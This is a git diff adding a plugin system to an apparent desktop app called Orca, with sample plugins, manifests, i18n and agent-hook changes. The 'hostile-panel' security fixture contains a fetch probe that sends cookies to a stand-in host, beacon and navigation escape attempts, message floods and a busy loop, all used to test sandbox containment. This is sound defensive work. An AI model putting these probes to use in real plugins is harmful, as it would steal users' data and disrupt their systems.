diff --git a/examples/plugins/hello-orca/panel.html b/examples/plugins/hello-orca/panel.html
new file mode 100644
index 000000000..6c7b5cf81
--- /dev/null
+++ b/examples/plugins/hello-orca/panel.html
@@ -0,0 +1,125 @@
+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8" />
+    <style>
+      /* The host injects Orca design tokens as CSS custom properties, so
+         panels can match the app without any access to it. */
+      body {
+        margin: 0;
+        padding: 12px;
+        font-family: system-ui, sans-serif;
+        font-size: 13px;
+        color: var(--foreground, #ddd);
+        background: var(--background, transparent);
+      }
+      h1 {
+        font-size: 14px;
+        margin: 0 0 8px;
+      }
+      button {
+        display: block;
+        margin: 6px 0;
+        padding: 6px 10px;
+        border: 1px solid var(--border, #555);
+        border-radius: 6px;
+        background: var(--secondary, #2a2a2a);
+        color: var(--foreground, #ddd);
+        cursor: pointer;
+        font: inherit;
+      }
+      select {
+        margin: 6px 0;
+        max-width: 100%;
+      }
+      .status {
+        margin-top: 10px;
+        min-height: 1.4em;
+        color: var(--muted-foreground, #999);
+        white-space: pre-wrap;
+      }
+    </style>
+  </head>
+  <body>
+    <h1>Hello Orca 👋</h1>
+    <p>Panel + worker command + events, gated by consent.</p>
+    <button id="ctx">Read workspace context</button>
+    <select id="terms" hidden></select>
+    <button id="send" hidden>Type "echo hi from plugin" into selected terminal</button>
+    <button id="notify">Show a notification</button>
+    <p class="status" id="status"></p>
+    <script>
+      'use strict'
+      var seq = 0
+      var pending = {}
+      var statusEl = document.getElementById('status')
+      var termsEl = document.getElementById('terms')
+
+      function call(action, params) {
+        return new Promise(function (resolve) {
+          var requestId = 'req-' + ++seq
+          pending[requestId] = resolve
+          // The panel frame is an opaque origin, so '*' is the only usable
+          // targetOrigin; the host verifies the sending window instead.
+          window.parent.postMessage(
+            { type: 'orca-panel-action', requestId: requestId, action: action, params: params },
+            '*'
+          )
+        })
+      }
+
+      window.addEventListener('message', function (event) {
+        var data = event.data
+        if (!data || data.type !== 'orca-panel-action-result') return
+        var resolve = pending[data.requestId]
+        if (!resolve) return
+        delete pending[data.requestId]
+        resolve(data)
+      })
+
+      document.getElementById('ctx').addEventListener('click', function () {
+        call('workspace.readContext').then(function (result) {
+          if (!result.ok) {
+            statusEl.textContent = 'context failed: ' + (result.error || result.errorCode)
+            return
+          }
+          if (!result.value) {
+            statusEl.textContent = 'no focused worktree'
+            return
+          }
+          statusEl.textContent = result.value.displayName + ' on branch ' + result.value.branch
+          termsEl.innerHTML = ''
+          result.value.terminals.forEach(function (terminal) {
+            var option = document.createElement('option')
+            option.value = terminal.id
+            option.textContent = terminal.id
+            termsEl.appendChild(option)
+          })
+          termsEl.hidden = result.value.terminals.length === 0
+          document.getElementById('send').hidden = result.value.terminals.length === 0
+        })
+      })
+
+      document.getElementById('send').addEventListener('click', function () {
+        // Explicit terminal id — the API has no "active terminal" target.
+        call('terminal.sendText', {
+          terminalId: termsEl.value,
+          text: 'echo hi from plugin',
+          enter: true
+        }).then(function (result) {
+          statusEl.textContent = result.ok
+            ? 'typed (accepted=' + result.value.accepted + ')'
+            : 'send failed: ' + (result.error || result.errorCode)
+        })
+      })
+
+      document.getElementById('notify').addEventListener('click', function () {
+        call('notifications.show', { title: 'Hello from the panel' }).then(function (result) {
+          statusEl.textContent = result.ok
+            ? 'notification delivered=' + result.value.delivered
+            : 'notify failed: ' + (result.error || result.errorCode)
+        })
+      })
+    </script>
+  </body>
+</html>
diff --git a/examples/plugins/hostile-panel/orca-plugin.json b/examples/plugins/hostile-panel/orca-plugin.json
new file mode 100644
index 000000000..cf3a2f90a
--- /dev/null
+++ b/examples/plugins/hostile-panel/orca-plugin.json
@@ -0,0 +1,16 @@
+{
+  "manifestVersion": 1,
+  "id": "hostile-panel",
+  "publisher": "orca-samples",
+  "name": "Hostile Panel (security fixture)",
+  "version": "1.0.0",
+  "description": "Deliberately hostile panel used by the plugin containment tests: exfiltration, navigation, message floods, busy loops. Never grant it anything.",
+  "engines": { "orca": ">=1.4.0" },
+  "pluginApi": 1,
+  "contributes": {
+    "panels": [
+      { "id": "hostile", "title": "Hostile Fixture", "icon": "bug", "entry": "panel.html" }
+    ]
+  },
+  "capabilities": []
+}
diff --git a/examples/plugins/hostile-panel/panel.html b/examples/plugins/hostile-panel/panel.html
new file mode 100644
index 000000000..d4f779333
--- /dev/null
+++ b/examples/plugins/hostile-panel/panel.html
@@ -0,0 +1,206 @@
+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8" />
+    <!-- Security test fixture: every attempt below MUST be contained by the
+         host-injected CSP, the iframe sandbox, and the bridge budgets. Each
+         probe reports pass/fail into the DOM so the containment run is
+         directly observable in the panel. -->
+  </head>
+  <body>
+    <h1>Hostile panel fixture</h1>
+    <ul id="results"></ul>
+    <button id="bridge">Run bridge budget probes</button>
+    <button id="navigate-top">Try top navigation</button>
+    <button id="navigate-self">Try self navigation</button>
+    <button id="navigate-anchor-form">Try anchor and form navigation</button>
+    <button id="navigate-meta">Try meta refresh navigation</button>
+    <button id="busy">Enter busy loop (watchdog probe)</button>
+    <script>
+      'use strict'
+      // The main-process guard must bind the frame before plugin parsing.
+      window.name = ''
+      var results = document.getElementById('results')
+      function report(name, contained, detail) {
+        if (document.querySelector('[data-probe="' + name + '"]')) return
+        var li = document.createElement('li')
+        li.dataset.probe = name
+        li.dataset.contained = contained ? 'true' : 'false'
+        li.textContent =
+          name + ': ' + (contained ? 'CONTAINED' : 'ESCAPED') + (detail ? ' — ' + detail : '')
+        results.appendChild(li)
+        document.title = 'probes:' + results.children.length
+      }
+
+      // Probe 1: fetch() exfiltration — must be blocked by connect-src 'none'.
+      var cookieValue = 'x'
+      try {
+        cookieValue = document.cookie || 'x'
+      } catch (_) {
+        // Opaque-origin frames may reject cookie access before CSP runs.
+      }
+      fetch('https://example.com/exfil?d=' + encodeURIComponent(cookieValue))
+        .then(function () {
+          report('fetch-exfil', false, 'request succeeded')
+        })
+        .catch(function () {
+          report('fetch-exfil', true)
+        })
+
+      // Probe 2: <img> beacon — must be blocked by img-src data: only.
+      var img = new Image()
+      var settled = false
+      img.onload = function () {
+        if (!settled) {
+          settled = true
+          report('img-beacon', false, 'image loaded')
+        }
+      }
+      img.onerror = function () {
+        if (!settled) {
+          settled = true
+          report('img-beacon', true)
+        }
+      }
+      img.src = 'https://example.com/beacon.gif'
+      setTimeout(function () {
+        if (!settled) {
+          settled = true
+          report('img-beacon', true, 'no load event')
+        }
+      }, 3000)
+
+      // Navigation probes are opt-in so a failed attempt cannot erase the
+      // network and bridge evidence before the harness observes it.
+      document.getElementById('navigate-top').addEventListener('click', function () {
+        try {
+          window.top.location.href = 'https://example.com/'
+          setTimeout(function () {
+            report('top-navigation', window.top !== window)
+          }, 0)
+        } catch (error) {
+          report('top-navigation', true, error.name)
+        }
+      })
+
+      document.getElementById('navigate-self').addEventListener('click', function () {
+        try {
+          window.location.href = 'https://example.com/self-navigation'
+          setTimeout(function () {
+            report('self-navigation', true)
+          }, 0)
+        } catch (error) {
+          report('self-navigation', true, error.name)
+        }
+      })
+
+      document.getElementById('navigate-anchor-form').addEventListener('click', function () {
+        var anchor = document.createElement('a')
+        anchor.href = 'https://example.com/anchor-navigation'
+        anchor.textContent = 'Navigation probe'
+        document.body.appendChild(anchor)
+        anchor.click()
+
+        var form = document.createElement('form')
+        form.action = 'https://example.com/form-navigation'
+        document.body.appendChild(form)
+        form.requestSubmit()
+        setTimeout(function () {
+          report('anchor-form-navigation', true)
+        }, 0)
+      })
+
+      document.getElementById('navigate-meta').addEventListener('click', function () {
+        var refresh = document.createElement('meta')
+        refresh.httpEquiv = 'refresh'
+        refresh.content = '0;url=https://example.com/meta-refresh'
+        document.head.appendChild(refresh)
+        setTimeout(function () {
+          report('meta-refresh-navigation', true)
+        }, 0)
+      })
+
+      // Probe 7: an oversized valid-looking call must receive a real refusal.
+      window.addEventListener('message', function (event) {
+        var data = event.data
+        if (event.source !== window.parent || !data || data.type !== 'orca-panel-action-result') {
+          return
+        }
+        if (data.requestId === 'oversized-probe') {
+          report(
+            'oversized-message',
+            !data.ok && data.errorCode === 'invalid_request',
+            data.errorCode || 'unexpected success'
+          )
+        }
+        if (data.requestId === 'flood-result') {
+          report(
+            'message-flood',
+            !data.ok && data.errorCode === 'rate_limited',
+            data.errorCode || 'unexpected success'
+          )
+        }
+      })
+
+      document.getElementById('bridge').addEventListener('click', function () {
+        window.parent.postMessage(
+          {
+            type: 'orca-panel-action',
+            requestId: 'oversized-probe',
+            action: 'workspace.readContext',
+            params: { padding: 'x'.repeat(128 * 1024) }
+          },
+          '*'
+        )
+        setTimeout(function () {
+          report('oversized-message', false, 'host sent no refusal')
+        }, 2000)
+
+        // Probe 8: invalid, pong, and binary floods must all spend rate budget
+        // before parsing; the final valid call is the observable oracle.
+        setTimeout(function () {
+          for (var i = 0; i < 40; i++) {
+            var payload =
+              i % 3 === 0
+                ? { type: 'orca-panel-pong', pingId: i }
+                : i % 3 === 1
+                  ? { type: 'invalid-hostile-message', sequence: i }
+                  : new Uint8Array(2048)
+            window.parent.postMessage(payload, '*')
+          }
+          window.parent.postMessage(
+            {
+              type: 'orca-panel-action',
+              requestId: 'flood-result',
+              action: 'workspace.readContext',
+              params: {}
+            },
+            '*'
+          )
+          setTimeout(function () {
+            report('message-flood', false, 'host sent no rate-limit refusal')
+          }, 2000)
+        }, 150)
+      })
+
+      // Probe 9: opt-in busy loop. The watchdog should demote the panel while
+      // Chromium keeps the sandboxed frame in its isolated renderer process.
+      function enterBusyLoop() {
+        report('busy-loop', true, 'watchdog should suspend this panel')
+        while (true) {
+          // Deliberately hostile fixture.
+        }
+      }
+      document.getElementById('busy').addEventListener('click', enterBusyLoop)
+      window.addEventListener('message', function (event) {
+        if (
+          event.source === window.parent &&
+          event.data &&
+          event.data.type === 'orca-hostile-busy-probe'
+        ) {
+          enterBusyLoop()
+        }
+      })
+    </script>
+  </body>
+</html>
diff --git a/resources/plugins/launch/bundled-plugins.json b/resources/plugins/launch/bundled-plugins.json
new file mode 100644
index 000000000..3bc0d4e1d
--- /dev/null
+++ b/resources/plugins/launch/bundled-plugins.json
@@ -0,0 +1,10 @@
+{
+  "version": 1,
+  "plugins": [
+    {
+      "pluginKey": "stablyai.orca-navigation-shortcuts",
+      "path": "stablyai.orca-navigation-shortcuts",
+      "contentHash": "ce3a146bae9e121a18cb86a710973422be749a25da5a1c21a8911e2e98cc3a77"
+    }
+  ]
+}
diff --git a/resources/plugins/launch/orca-marketplace.json b/resources/plugins/launch/orca-marketplace.json
new file mode 100644
index 000000000..1088bdcd2
--- /dev/null
+++ b/resources/plugins/launch/orca-marketplace.json
@@ -0,0 +1,36 @@
+{
+  "name": "Orca Official Plugins",
+  "owner": "stablyai",
+  "plugins": [
+    {
+      "id": "stablyai.orca-portuguese",
+      "source": {
+        "kind": "git",
+        "url": "https://github.com/stablyai/orca-portuguese.git",
+        "ref": "v1.0.0"
+      },
+      "description": "Brazilian Portuguese translations for common Orca navigation.",
+      "categories": ["languages", "official"]
+    },
+    {
+      "id": "stablyai.orca-multipass-recipes",
+      "source": {
+        "kind": "git",
+        "url": "https://github.com/stablyai/orca-multipass-recipes.git",
+        "ref": "v1.0.0"
+      },
+      "description": "A reviewed starter lifecycle for disposable Multipass workspaces.",
+      "categories": ["vm-recipes", "official"]
+    },
+    {
+      "id": "stablyai.orca-navigation-shortcuts",
+      "source": {
+        "kind": "git",
+        "url": "https://github.com/stablyai/orca-navigation-shortcuts.git",
+        "ref": "v1.0.0"
+      },
+      "description": "Command aliases and optional shortcuts for frequent Orca views.",
+      "categories": ["keybindings", "official"]
+    }
+  ]
+}
diff --git a/resources/plugins/launch/stablyai.orca-multipass-recipes/orca-plugin.json b/resources/plugins/launch/stablyai.orca-multipass-recipes/orca-plugin.json
new file mode 100644
index 000000000..53dd14d72
--- /dev/null
+++ b/resources/plugins/launch/stablyai.orca-multipass-recipes/orca-plugin.json
@@ -0,0 +1,15 @@
+{
+  "manifestVersion": 1,
+  "id": "orca-multipass-recipes",
+  "publisher": "stablyai",
+  "name": "Multipass VM Recipes",
+  "version": "1.0.0",
+  "description": "A reviewed starter lifecycle for disposable Multipass workspaces.",
+  "repository": "https://github.com/stablyai/orca-multipass-recipes",
+  "engines": { "orca": ">=1.4.0" },
+  "pluginApi": 1,
+  "contributes": {
+    "vmRecipes": [{ "path": "recipes/ubuntu-lts.json" }]
+  },
+  "capabilities": []
+}
diff --git a/resources/plugins/launch/stablyai.orca-multipass-recipes/recipes/ubuntu-lts.json b/resources/plugins/launch/stablyai.orca-multipass-recipes/recipes/ubuntu-lts.json
new file mode 100644
index 000000000..b2c60c798
--- /dev/null
+++ b/resources/plugins/launch/stablyai.orca-multipass-recipes/recipes/ubuntu-lts.json
@@ -0,0 +1,10 @@
+{
+  "schemaVersion": 1,
+  "id": "multipass-ubuntu-lts",
+  "name": "Multipass Ubuntu LTS",
+  "description": "Creates a four-CPU disposable Ubuntu workspace with Multipass.",
+  "create": "multipass launch 24.04 --name \"$ORCA_VM_NAME\" --cpus 4 --memory 8G --disk 40G",
+  "suspend": "multipass suspend \"$ORCA_VM_NAME\"",
+  "resume": "multipass start \"$ORCA_VM_NAME\"",
+  "destroy": "multipass delete \"$ORCA_VM_NAME\" --purge"
+}
diff --git a/resources/plugins/launch/stablyai.orca-navigation-shortcuts/orca-plugin.json b/resources/plugins/launch/stablyai.orca-navigation-shortcuts/orca-plugin.json
new file mode 100644
index 000000000..6310d4e54
--- /dev/null
+++ b/resources/plugins/launch/stablyai.orca-navigation-shortcuts/orca-plugin.json
@@ -0,0 +1,34 @@
+{
+  "manifestVersion": 1,
+  "id": "orca-navigation-shortcuts",
+  "publisher": "stablyai",
+  "name": "Orca Navigation Shortcuts",
+  "version": "1.0.0",
+  "description": "Command aliases and optional shortcuts for frequent Orca views.",
+  "repository": "https://github.com/stablyai/orca-navigation-shortcuts",
+  "engines": { "orca": ">=1.4.0" },
+  "pluginApi": 1,
+  "contributes": {
+    "commands": [
+      { "id": "open-tasks", "title": "Open Tasks", "context": "global", "action": "view.tasks" },
+      {
+        "id": "toggle-search",
+        "title": "Toggle Search",
+        "context": "global",
+        "action": "sidebar.search.toggle"
+      },
+      {
+        "id": "toggle-source-control",
+        "title": "Toggle Source Control",
+        "context": "global",
+        "action": "sidebar.sourceControl.toggle"
+      }
+    ],
+    "keybindings": [
+      { "command": "open-tasks", "key": "Mod+Alt+T", "when": "global" },
+      { "command": "toggle-search", "key": "Mod+Alt+F", "when": "global" },
+      { "command": "toggle-source-control", "key": "Mod+Alt+G", "when": "global" }
+    ]
+  },
+  "capabilities": []
+}
diff --git a/resources/plugins/launch/stablyai.orca-portuguese/locales/pt-BR.json b/resources/plugins/launch/stablyai.orca-portuguese/locales/pt-BR.json
new file mode 100644
index 000000000..27945d1be
--- /dev/null
+++ b/resources/plugins/launch/stablyai.orca-portuguese/locales/pt-BR.json
@@ -0,0 +1,36 @@
+{
+  "settings": {
+    "appearance": {
+      "language": {
+        "title": "Idioma",
+        "description": "Escolha o idioma usado na interface do Orca.",
+        "system": "Sistema",
+        "english": "Inglês",
+        "chinese": "Chinês simplificado",
+        "korean": "Coreano",
+        "japanese": "Japonês",
+        "spanish": "Espanhol"
+      }
+    }
+  },
+  "menu": {
+    "checkForUpdates": "Verificar atualizações...",
+    "settings": "Configurações",
+    "file": "Arquivo",
+    "exit": "Sair",
+    "edit": "Editar",
+    "appearance": "Aparência",
+    "view": "Visualizar",
+    "reload": "Recarregar",
+    "window": "Janela",
+    "help": "Ajuda",
+    "paste": "Colar"
+  },
+  "tray": {
+    "openOrca": "Abrir o Orca",
+    "quit": "Encerrar",
+    "minimizeNotice": {
+      "body": "O Orca continua em execução na bandeja do sistema"
+    }
+  }
+}
diff --git a/resources/plugins/launch/stablyai.orca-portuguese/orca-plugin.json b/resources/plugins/launch/stablyai.orca-portuguese/orca-plugin.json
new file mode 100644
index 000000000..d32be4b38
--- /dev/null
+++ b/resources/plugins/launch/stablyai.orca-portuguese/orca-plugin.json
@@ -0,0 +1,15 @@
+{
+  "manifestVersion": 1,
+  "id": "orca-portuguese",
+  "publisher": "stablyai",
+  "name": "Português do Brasil",
+  "version": "1.0.0",
+  "description": "Brazilian Portuguese translations for common Orca navigation.",
+  "repository": "https://github.com/stablyai/orca-portuguese",
+  "engines": { "orca": ">=1.4.0" },
+  "pluginApi": 1,
+  "contributes": {
+    "languagePacks": [{ "locale": "pt-BR", "path": "locales/pt-BR.json" }]
+  },
+  "capabilities": []
+}
diff --git a/src/main/agent-hooks/server.test.ts b/src/main/agent-hooks/server.test.ts
index 351960dd7..e05e0c173 100644
--- a/src/main/agent-hooks/server.test.ts
+++ b/src/main/agent-hooks/server.test.ts
@@ -7083,6 +7083,38 @@ describe('AgentHookServer ingestRemote', () => {
     }
   })
 
+  it('fans a Pi session-only status out to plugins, not just the renderer', () => {
+    const server = new AgentHookServer()
+    const rendererListener = vi.fn()
+    const pluginListener = vi.fn()
+    server.setListener(rendererListener)
+    server.subscribeEnrichedStatus(pluginListener)
+
+    server.ingestRemote(
+      {
+        paneKey: PANE,
+        tabId: 'tab-1',
+        worktreeId: 'wt-1',
+        providerSession: {
+          key: 'session_id',
+          id: 'pi-session-1',
+          transcriptPath: '/tmp/pi-session-1.jsonl'
+        },
+        providerSessionOnly: true,
+        payload: { state: 'done', prompt: '', agentType: 'pi' }
+      },
+      'conn-1'
+    )
+
+    // The session-only path returns early, so it must not skip the plugin tap.
+    expect(rendererListener).toHaveBeenCalledWith(
+      expect.objectContaining({ paneKey: PANE, providerSessionOnly: true })
+    )
+    expect(pluginListener).toHaveBeenCalledWith(
+      expect.objectContaining({ paneKey: PANE, providerSessionOnly: true })
+    )
+  })
+
   it('rejects invalid remote metadata-only session envelopes', () => {
     const server = new AgentHookServer()
     const listener = vi.fn()
diff --git a/src/main/agent-hooks/server.ts b/src/main/agent-hooks/server.ts
index 1aeb253a1..a9395cf44 100644
--- a/src/main/agent-hooks/server.ts
+++ b/src/main/agent-hooks/server.ts
@@ -465,6 +465,10 @@ export class AgentHookServer {
   private onPaneStatusCleared: PaneStatusClearListener | null = null
   private statusChangeListeners = new Set<StatusChangeListener>()
   private providerSessionChangeListeners = new Set<ProviderSessionChangeListener>()
+  // Why: setListener is a single slot owned by the main-window fanout; the
+  // plugin event bus (and future consumers) need an additive subscription
+  // that also works in headless serve, where no window listener exists.
+  private enrichedStatusListeners = new Set<(payload: EnrichedAgentHookEventPayload) => void>()
   // Why: set via start()'s userDataPath so the class has no direct Electron dependency (mockable in vitest node env).
   private endpointDir: string | null = null
   private endpointFilePathCache: string | null = null
@@ -525,6 +529,14 @@ export class AgentHookServer {
     }
   }
 
+  /** Multi-subscriber tap on every enriched status change (no replay). */
+  subscribeEnrichedStatus(listener: (payload: EnrichedAgentHookEventPayload) => void): () => void {
+    this.enrichedStatusListeners.add(listener)
+    return () => {
+      this.enrichedStatusListeners.delete(listener)
+    }
+  }
+
   setPaneStatusClearListener(listener: PaneStatusClearListener | null): void {
     this.onPaneStatusCleared = listener
   }
@@ -890,7 +902,7 @@ export class AgentHookServer {
       this.state.lastStatusByPaneKey.set(enriched.paneKey, enriched)
       this.scheduleStatusPersist()
       this.notifyStatusChangeListeners()
-      this.onAgentStatus?.(enriched)
+      this.emitEnrichedStatus(enriched)
       return enriched
     }
     const stateReconciledPayload =
@@ -1002,10 +1014,23 @@ export class AgentHookServer {
     this.state.lastStatusByPaneKey.set(enriched.paneKey, enriched)
     this.scheduleStatusPersist()
     this.notifyStatusChangeListeners()
-    this.onAgentStatus?.(enriched)
+    this.emitEnrichedStatus(enriched)
     return enriched
   }
 
+  // Why: every status emit must reach plugins too, so a new early-return path
+  // upstream cannot silently leave the plugin tap behind the main-window fanout.
+  private emitEnrichedStatus(enriched: EnrichedAgentHookEventPayload): void {
+    this.onAgentStatus?.(enriched)
+    for (const listener of this.enrichedStatusListeners) {
+      try {
+        listener(enriched)
+      } catch (err) {
+        console.error('[agent-hooks] enriched status listener threw', err)
+      }
+    }
+  }
+
   private clearAssistantMessageRetry(paneKey: string): void {
     const timer = this.assistantMessageRetryTimers.get(paneKey)
     if (!timer) {
diff --git a/src/main/codex-accounts/runtime-home-service.test.ts b/src/main/codex-accounts/runtime-home-service.test.ts
index e94067c42..9546c2f25 100644
--- a/src/main/codex-accounts/runtime-home-service.test.ts
+++ b/src/main/codex-accounts/runtime-home-service.test.ts
@@ -140,6 +140,10 @@ function createSettings(overrides: TestSettingsOverrides = {}): GlobalSettings {
     terminalScopeHistoryByWorktree: true,
     defaultTuiAgent: null,
     disabledTuiAgents: [],
+    pluginSystemEnabled: false,
+    disabledPlugins: [],
+    pluginConsents: {},
+    devPluginPaths: [],
     skipDeleteWorktreeConfirm: false,
     skipCloseTerminalWithRunningProcessConfirm: false,
     skipDeleteAutomationConfirm: false,
diff --git a/src/main/codex-accounts/service.test.ts b/src/main/codex-accounts/service.test.ts
index cb6ba306f..c2ae74b89 100644
--- a/src/main/codex-accounts/service.test.ts
+++ b/src/main/codex-accounts/service.test.ts
@@ -148,6 +148,10 @@ function createSettings(overrides: TestSettingsOverrides = {}): GlobalSettings {
     terminalScopeHistoryByWorktree: true,
     defaultTuiAgent: null,
     disabledTuiAgents: [],
+    pluginSystemEnabled: false,
+    disabledPlugins: [],
+    pluginConsents: {},
+    devPluginPaths: [],
     skipDeleteWorktreeConfirm: false,
     skipCloseTerminalWithRunningProcessConfirm: false,
     skipDeleteAutomationConfirm: false,
diff --git a/src/main/ephemeral-vm-runtime-service.test.ts b/src/main/ephemeral-vm-runtime-service.test.ts
index 6f31e7a75..61fc991ad 100644
--- a/src/main/ephemeral-vm-runtime-service.test.ts
+++ b/src/main/ephemeral-vm-runtime-service.test.ts
@@ -83,6 +83,9 @@ describe('ephemeral VM runtime service', () => {
     const recipe: OrcaVmRecipe = {
       id: 'cloud-sandbox',
       name: 'Cloud Sandbox',
+      // Repo-owned recipes predate plugin bounds; snapshotting must not fail
+      // after create has already provisioned external resources.
+      description: 'x'.repeat(2_048),
       create: nodeCommand(startPath),
       destroy: nodeCommand(cleanupPath)
     }
@@ -104,6 +107,7 @@ describe('ephemeral VM runtime service', () => {
     expect(provisioned.runtime).toMatchObject({
       id: provisioned.start.context.instanceId,
       recipeId: 'cloud-sandbox',
+      recipe,
       repoId: 'repo-1',
       projectId: 'project-1',
       workspaceName: 'Fix Login Race',
diff --git a/src/main/ephemeral-vm-runtime-service.ts b/src/main/ephemeral-vm-runtime-service.ts
index 58ad107a3..90eb216c4 100644
--- a/src/main/ephemeral-vm-runtime-service.ts
+++ b/src/main/ephemeral-vm-runtime-service.ts
@@ -120,6 +120,7 @@ export async function provisionEphemeralVmRuntime(
   const runtime = upsertEphemeralVmRuntime(args.userDataPath, {
     id: start.context.instanceId ?? start.context.recipeId,
     recipeId: args.recipe.id,
+    recipe: args.recipe,
     ...(args.repoId ? { repoId: args.repoId } : {}),
     ...(args.projectId ? { projectId: args.projectId } : {}),
     ...(args.workspaceId ? { workspaceId: args.workspaceId } : {}),
diff --git a/src/main/i18n/main-i18n-lazy-locale.test.ts b/src/main/i18n/main-i18n-lazy-locale.test.ts
index 877c36c47..30d11f549 100644
--- a/src/main/i18n/main-i18n-lazy-locale.test.ts
+++ b/src/main/i18n/main-i18n-lazy-locale.test.ts
@@ -17,11 +17,18 @@ import {
   UI_LANGUAGE_KOREAN,
   UI_LANGUAGE_SPANISH
 } from '../../shared/ui-language'
-import { ensureMainI18n, setMainUiLanguage, translateMain } from './main-i18n'
+import {
+  ensureMainI18n,
+  setMainPluginLanguagePacks,
+  setMainUiLanguage,
+  translateMain
+} from './main-i18n'
+import { pluginLanguageResourceId } from '../../shared/plugins/plugin-language-pack-artifact'
 
 describe('main-i18n lazy locale loading', () => {
   beforeEach(async () => {
     await ensureMainI18n()
+    setMainPluginLanguagePacks([])
     await setMainUiLanguage(UI_LANGUAGE_ENGLISH)
   })
 
@@ -58,4 +65,24 @@ describe('main-i18n lazy locale loading', () => {
     await setMainUiLanguage(UI_LANGUAGE_ENGLISH)
     expect(translateMain('menu.file', 'File')).toBe('File')
   })
+
+  it('loads a contributed catalog for native menus and dialogs', async () => {
+    const id = 'plugin:orca-samples.portuguese/pt-BR' as const
+    setMainPluginLanguagePacks([
+      {
+        id,
+        resourceLanguage: pluginLanguageResourceId(id),
+        pluginKey: 'orca-samples.portuguese',
+        locale: 'pt-BR',
+        catalog: { menu: { file: 'Arquivo Orca' } }
+      }
+    ])
+
+    await setMainUiLanguage(id)
+    expect(translateMain('menu.file', 'File')).toBe('Arquivo Orca')
+
+    setMainPluginLanguagePacks([])
+    expect(await setMainUiLanguage(id)).toBe('en')
+    expect(translateMain('menu.file', 'File')).toBe('File')
+  })
 })
diff --git a/src/main/i18n/main-i18n.ts b/src/main/i18n/main-i18n.ts
index 4904260db..8ebe21e05 100644
--- a/src/main/i18n/main-i18n.ts
+++ b/src/main/i18n/main-i18n.ts
@@ -9,10 +9,13 @@ import i18next, {
 import { isPseudoLocalizationLocale, pseudoLocalizeString } from '../../shared/pseudo-localization'
 import { DEFAULT_UI_LOCALE, resolveUiLocale, type SupportedUiLocale } from '../../shared/ui-locale'
 import { UI_LANGUAGE_SYSTEM, type UiLanguage } from '../../shared/ui-language'
+import type { PluginLanguagePackRegistration } from '../../shared/plugins/plugin-language-pack-artifact'
 
 export const mainI18n: I18nInstance = i18next.createInstance()
 
 let initialized = false
+let pluginLanguagePacks: readonly PluginLanguagePackRegistration[] = []
+const registeredPluginLanguages = new Set<string>()
 
 // Why: main-process callers pass English fallbacks to translateMain(), so the
 // main bundle does not need to parse any locale catalog at cold start. Only
@@ -72,16 +75,20 @@ export async function ensureMainI18n(): Promise<I18nInstance> {
       }
     })
     initialized = true
+    applyMainPluginLanguagePacks()
   }
   return mainI18n
 }
 
-export async function setMainUiLanguage(language: UiLanguage): Promise<SupportedUiLocale> {
+export async function setMainUiLanguage(language: UiLanguage): Promise<string> {
   await ensureMainI18n()
-  const locale = resolveUiLocale(
+  const selectedLocale = resolveUiLocale(
     language,
     language === UI_LANGUAGE_SYSTEM ? getMainSystemLocale() : DEFAULT_UI_LOCALE
   )
+  const locale =
+    pluginLanguagePacks.find((pack) => pack.id === selectedLocale)?.resourceLanguage ??
+    (selectedLocale.startsWith('plugin:') ? DEFAULT_UI_LOCALE : selectedLocale)
   if (mainI18n.language !== locale) {
     // changeLanguage triggers the lazy backend load for non-English locales and
     // resolves once the catalog is in memory, so callers that await this have
@@ -91,6 +98,30 @@ export async function setMainUiLanguage(language: UiLanguage): Promise<Supported
   return locale
 }
 
+function applyMainPluginLanguagePacks(): void {
+  for (const language of registeredPluginLanguages) {
+    mainI18n.removeResourceBundle(language, 'translation')
+  }
+  registeredPluginLanguages.clear()
+  for (const pack of pluginLanguagePacks) {
+    mainI18n.addResourceBundle(pack.resourceLanguage, 'translation', pack.catalog, true, true)
+    registeredPluginLanguages.add(pack.resourceLanguage)
+  }
+}
+
+export function setMainPluginLanguagePacks(
+  packs: readonly PluginLanguagePackRegistration[]
+): boolean {
+  if (pluginLanguagePacks === packs) {
+    return false
+  }
+  pluginLanguagePacks = packs
+  if (initialized) {
+    applyMainPluginLanguagePacks()
+  }
+  return true
+}
+
 export function translateMain(key: string, fallback: string, options?: TOptions): string {
   // Why: menu registration can run before async init finishes in tests; fall back
   // to the English default instead of returning undefined from an uninitialized i18n.
diff --git a/src/main/index.ts b/src/main/index.ts
index ab72fd352..3c78c3960 100644
--- a/src/main/index.ts
+++ b/src/main/index.ts
@@ -39,7 +39,7 @@ import { initCohortClassifier } from './telemetry/cohort-classifier'
 import { initOnboardingCohortClassifier } from './telemetry/onboarding-cohort-classifier'
 import { resolveConsent } from './telemetry/consent'
 import { triggerStartupNotificationRegistration } from './ipc/notifications'
-import { OrcaRuntimeService } from './runtime/orca-runtime'
+import { OrcaRuntimeService, type RuntimeWorktreeLifecycleEvent } from './runtime/orca-runtime'
 import { loadAgentSessionClaimSigner } from './runtime/agent-session-claim-identity'
 import { OrcaRuntimeRpcServer } from './runtime/runtime-rpc'
 import { resolveAdvertisedPairingEndpoint } from './runtime/pairing-endpoint'
@@ -49,7 +49,7 @@ import { DesktopRelayService } from './runtime/relay/desktop-relay-service'
 import type { RelayBrokerStatus } from './runtime/relay/relay-session-broker'
 import { awaitRuntimeFileWatcherUnsubscribes } from './runtime/orca-runtime-files'
 import { clearRuntimeMetadataIfOwned } from './runtime/runtime-metadata'
-import { ensureMainI18n, setMainUiLanguage } from './i18n/main-i18n'
+import { ensureMainI18n, setMainPluginLanguagePacks, setMainUiLanguage } from './i18n/main-i18n'
 import {
   getNextDefaultOnAppearanceSettingValue,
   registerAppMenu,
@@ -218,6 +218,20 @@ import { buildHeadlessAutomationWorktreeCreateArgs } from './automations/headles
 import { AgentAwakeService } from './agent-awake-service'
 import { registerSystemResumeBroadcast } from './system-resume-broadcast'
 import { settleTeardownWithinDeadline } from './quit-teardown-deadline'
+import { PluginService } from './plugins/plugin-service'
+import { PluginKillListService } from './plugins/plugin-kill-list-service'
+import { getPluginsDataDir } from './plugins/plugin-discovery'
+import { PluginMarketplaceService } from './plugins/plugin-marketplace-service'
+import { PluginMarketplaceInstaller } from './plugins/plugin-marketplace-installer'
+import { PluginBundledBootstrapCoordinator } from './plugins/plugin-bundled-bootstrap-coordinator'
+import { resolveBundledPluginRoot } from './plugins/plugin-bundled-bootstrap'
+import { resolvePluginHostEntryPath } from './plugins/plugin-host-process'
+import { applyPluginConsent, applyPluginEnablement } from './plugins/plugin-enablement'
+import { setPluginServiceForRpc } from './runtime/rpc/methods/plugins'
+import {
